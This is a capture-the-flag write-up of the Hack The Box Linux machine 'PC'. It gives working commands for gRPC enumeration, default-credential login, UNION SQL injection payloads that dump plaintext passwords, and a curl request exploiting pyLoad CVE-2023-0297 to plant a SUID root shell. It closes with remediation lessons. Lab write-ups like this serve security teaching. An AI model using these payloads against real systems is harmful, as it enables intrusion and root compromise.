root@thehacksparrow:~/writeups$ SYSTEM ONLINE
root@sparrow:~/writeups$ cat pc.md
// writeups

PC

20 May 2023 · 7 min read
PC - maquina de Hack The Box

Executive summary — PC is an Easy Linux box whose only services are SSH and an unusual one: a gRPC API on port 50051 with Server Reflection enabled, which lets anyone ask the server for its own schema. The API accepts the default credentials admin:admin, and its getInfo method builds a SQL query with an f-string, giving a UNION-based SQL injection that dumps the accounts table in clear text. One of those passwords is reused for SSH. From there, pyLoad listening only on localhost and running as root is vulnerable to CVE-2023-0297, a pre-authentication code injection that gives root.

PlatformHack The Box
OSLinux (Ubuntu 20.04.6 LTS, kernel 5.4.0-148)
DifficultyEasy
StatusRetired
Services22 (OpenSSH 8.2p1), 50051 (gRPC, no TLS)
TechniquesgRPC enumeration with grpcurl, default credentials, SQL injection (SQLite), password reuse, pyLoad CVE-2023-0297 (js2py code injection)

Attack map

[50051/gRPC] plaintext, Server Reflection enabled -> service SimpleApp
        |  LoginUser admin:admin (default credentials) -> JWT in a response trailer
        v
getInfo(id) -> SQL injection (UNION, SQLite 3.31.1)
        |  dump of table 'accounts' -> sau : <password>
        v
[22/SSH] sau (password reuse) -> user
        |  ss -tlnp: pyLoad on 127.0.0.1:8000, running as root
        v
CVE-2023-0297: /flash/addcrypted2 -> jk evaluated by js2py (pre-auth)
        |  pyimport os; os.system(...)
        v
SUID copy of bash -> /tmp/rootbash -p -> ROOT

1. Reconnaissance

sudo nmap -p- --min-rate 3000 -Pn -n <TARGET_IP> -oN nmap_all.txt
Not shown: 65533 filtered tcp ports (no-response)
PORT      STATE SERVICE
22/tcp    open  ssh
50051/tcp open  unknown

The full-port scan matters here: 50051 is not among the top 1000 ports, so a default scan would have found only SSH. The filtered (no-response) state points to a firewall with a DROP policy, which the local enumeration later confirms. A service scan gives OpenSSH 8.2p1 (Ubuntu 20.04) and a grpc service.

sudo nmap -sCV -p22,50051 -Pn -n <TARGET_IP> -oN nmap_svc.txt

Why gRPC is different. 50051 is the default port of gRPC, Google's RPC framework: binary Protocol Buffers over HTTP/2, so it can't be browsed like a website. But if the server has Server Reflection enabled (grpc.reflection.v1alpha.ServerReflection), it describes its own schema on request. The tool for that is grpcurl, essentially curl for gRPC.

curl -sL -o grpcurl.tgz https://github.com/fullstorydev/grpcurl/releases/download/v1.9.1/grpcurl_1.9.1_linux_x86_64.tar.gz
tar xzf grpcurl.tgz grpcurl
./grpcurl -plaintext <TARGET_IP>:50051 list
SimpleApp
grpc.reflection.v1alpha.ServerReflection

-plaintext is required because the service doesn't use TLS; without it grpcurl tries a TLS handshake and fails. Describing the service and its messages shows the whole attack surface:

./grpcurl -plaintext <TARGET_IP>:50051 describe SimpleApp
./grpcurl -plaintext <TARGET_IP>:50051 describe .getInfoRequest
service SimpleApp {
  rpc LoginUser ( .LoginUserRequest ) returns ( .LoginUserResponse );
  rpc RegisterUser ( .RegisterUserRequest ) returns ( .RegisterUserResponse );
  rpc getInfo ( .getInfoRequest ) returns ( .getInfoResponse );
}
message LoginUserRequest    { string username = 1; string password = 2; }
message RegisterUserRequest { string username = 1; string password = 2; }
message getInfoRequest      { string id = 1; }

Three methods: authentication (with open registration) and getInfo(id), where id is a string even though it is semantically a number. That mismatch is the classic smell of a value concatenated into a SQL query.

Practical note (zsh): storing the command in a variable (G="./grpcurl -plaintext host:port") and running $G fails because zsh doesn't word-split. Use a function instead: g(){ ./grpcurl -plaintext "$@"; }.

2. Initial access: default credentials and SQL injection

2.1 Logging in as admin:admin

T=<TARGET_IP>:50051
./grpcurl -plaintext -v -d '{"username":"admin","password":"admin"}' $T SimpleApp/LoginUser
Response contents:
{ "message": "Your id is 137." }
Response trailers received:
token: b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiYWRtaW4i...'
  • admin:admin is valid: a default credential left in place.
  • The JWT is returned as trailing metadata, not in the body, so without -v it is invisible.
  • It comes wrapped as b'...', the Python repr of a bytes object (PyJWT 1.x returns bytes and the server formats it into a string). The b' prefix and the closing quote have to be stripped.
  • Registration is open too, so anyone could obtain a token with RegisterUser.

Extracting the token and wrapping getInfo in a helper function:

TOK=$(./grpcurl -plaintext -v -d '{"username":"admin","password":"admin"}' $T SimpleApp/LoginUser 2>&1 \
      | grep "^token:" | sed "s/token: b'//;s/'$//")
q(){ ./grpcurl -plaintext -H "token: $TOK" -d "{\"id\":\"$1\"}" $T SimpleApp/getInfo 2>&1; }

Without the token header, getInfo answers Authorization Error. Missing 'token' header.

2.2 Confirming the injection

q 137
q "137'"
q "0 union select sqlite_version()"
PayloadResponseInterpretation
137TypeError: 'NoneType' object is not subscriptablefetchone() returned None and the code indexes [0]: a Python backend that reads a single row.
137'TypeError: bad argument type for built-in operationThe quote breaks the syntax, so the SQLite error object ends up where a string was expected. Different behaviour for different input means the input is parsed as SQL.
0 union select sqlite_version()"message": "3.31.1"UNION injection confirmed; the engine is SQLite 3.31.1.

The payload uses no quotes because the value is injected as a number (... where id = {request.id}). With 0 the original query returns nothing, so only the row produced by the UNION comes back; and since the original selects a single column (message), the UNION must also have exactly one.

2.3 Schema and dump

SQLite has no information_schema; its catalogue is sqlite_master.

q "0 union select group_concat(sql) from sqlite_master"
CREATE TABLE "accounts" (username TEXT UNIQUE, password TEXT),
CREATE TABLE messages(id INT UNIQUE, username TEXT UNIQUE, message TEXT)
./grpcurl -plaintext -H "token: $TOK" \
  -d '{"id":"0 union select group_concat(username || \":\" || password, \" | \") from accounts"}' \
  $T SimpleApp/getInfo
{ "message": "admin:admin | sau:HereIsYourPassWord1431 | robert1:robert1" }

|| is string concatenation in SQLite, and group_concat() is needed because the server only reads the first row. The passwords are stored in plain text, and sau looks like a real system user.

3. Foothold: SSH as sau

sshpass -p 'HereIsYourPassWord1431' ssh -o StrictHostKeyChecking=no sau@<TARGET_IP>
uid=1001(sau) gid=1001(sau) groups=1001(sau)
hostname: pc

The database password is reused for SSH, which gives the user. Local enumeration:

sudo -l
ss -tlnp
ps aux | grep -iE "pyload|python"
127.0.0.53:53   systemd-resolved
0.0.0.0:22      sshd
127.0.0.1:8000  pyload      <-- local only
0.0.0.0:9666    pyload
*:50051         python3 (the gRPC app, /opt/app/app.py, as root)

root  /usr/bin/python3 /opt/app/app.py
root  /usr/bin/python3 /usr/local/bin/pyload

sau can't use sudo, but pyLoad runs as root and listens on 127.0.0.1:8000. That is why the external scan never saw it, and it is the privilege-escalation vector; it can be reached with curl from the SSH session itself.

4. Privilege escalation: pyLoad CVE-2023-0297

pip3 show pyload-ng    # Version: 0.5.0b3.dev30
pyload --version       # pyLoad 0.5.0

pyload-ng before 0.5.0b3.dev31 is vulnerable to CVE-2023-0297 (code injection, CVSS 9.8). The /flash/addcrypted2 endpoint exists for JDownloader's Click'n'Load and evaluates the jk parameter as JavaScript with js2py, without authentication. js2py supports pyimport, which imports Python modules from inside the evaluated JavaScript, so os.system() is reachable.

def addcrypted2():
    ...
    jk = flask.request.form["jk"]
    ...
    jk = eval_js(f"{jk} f()")      # attacker-controlled JavaScript

def eval_js(script, es6=False):
    return (js2py.eval_js6 if es6 else js2py.eval_js)(script)

The endpoint sits before the login decorator, so no pyLoad credentials are needed. The jk value defines a function f (which the server calls as f()) but first runs the payload, a SUID copy of bash:

curl -s -i http://127.0.0.1:8000/flash/addcrypted2 \
  --data-urlencode "package=xxx" \
  --data-urlencode "crypted=AAAA" \
  --data-urlencode 'jk=pyimport os;os.system("cp /bin/bash /tmp/rootbash; chmod 4755 /tmp/rootbash");f=function f2(){};' \
  --data-urlencode "passwords=aaaa"

The response is an HTTP 500, because the code fails afterwards when it tries to decrypt crypted with an invalid key, but os.system() has already run.

ls -la /tmp/rootbash
# -rwsr-xr-x 1 root root 1183448 ... /tmp/rootbash
/tmp/rootbash -p -c "id"
uid=1001(sau) gid=1001(sau) euid=0(root) groups=1001(sau)

-p keeps the effective UID: without it, bash drops the SUID privileges. euid=0 means root. The service runs as root because of its unit file (User=root, ExecStart=/usr/local/bin/pyload).

5. Post-exploitation: why the injection worked

With root, the source of the gRPC app (/opt/app/app.py) confirms the finding:

async def getInfo(self, request, context):
    ...
    result = cur.execute(f'SELECT message from messages where id = {request.id}').fetchone()[0]

An f-string with request.id and no parameterization. Curiously, RegisterUser and LoginUser do use parameterized queries; only getInfo doesn't. The JWT module also hardcodes its HS256 secret and only checks that the token decodes, not who it belongs to, so any valid token is accepted by getInfo and, with the secret, arbitrary tokens could be forged. Neither was needed here, since admin:admin already issued one.

Credential summary

CredentialValueSource
gRPC APIadmin : adminDefault credentials
sau (SSH)HereIsYourPassWord1431SQL injection dump of accounts
pyLoadNot neededCVE-2023-0297 is pre-auth

Vulnerability summary

PhaseComponentVulnerabilityImpact
RecongRPC on 50051Server Reflection enabled, no TLS (CWE-319)Full schema disclosure
FootholdLoginUserDefault credentials admin:admin (CWE-1392 / CWE-521)Valid JWT
FootholdgetInfoSQL injection via f-string (CWE-89)Dump of accounts
Footholdaccounts / SSHPlain-text passwords reused across services (CWE-256 / CWE-522)SSH as sau
FootholdJWT moduleHardcoded secret and weak validation (CWE-798 / CWE-287)Token forgery possible
RootpyLoad 0.5.0b3.dev30CVE-2023-0297: pre-auth code injection (CWE-94)Command execution
RootpyLoad serviceRuns as root (CWE-250)Execution as root

Lessons

  • Reflection is documentation for attackers. Leaving gRPC Server Reflection on in production hands over the full API schema; disable it and put TLS in front of the service.
  • Check every parameter, not just most. Two methods used parameterized queries and one didn't; consistency, or an ORM, would have prevented the injection.
  • Default credentials and clear-text passwords chain. admin:admin led to a database whose plain-text passwords worked on SSH. Hash stored passwords and never reuse them across services.
  • "Only listens on localhost" is not a security boundary. Once a foothold exists, loopback services are reachable, and a root-owned one with a known pre-auth CVE is a direct path to root. Run services with a dedicated unprivileged user and patch them (pyload-ng ≥ 0.5.0b3.dev31).

Note on the flags

As is standard on this site, the specific values of user.txt and root.txt aren't part of the documented method and are left out; the full process is described regardless.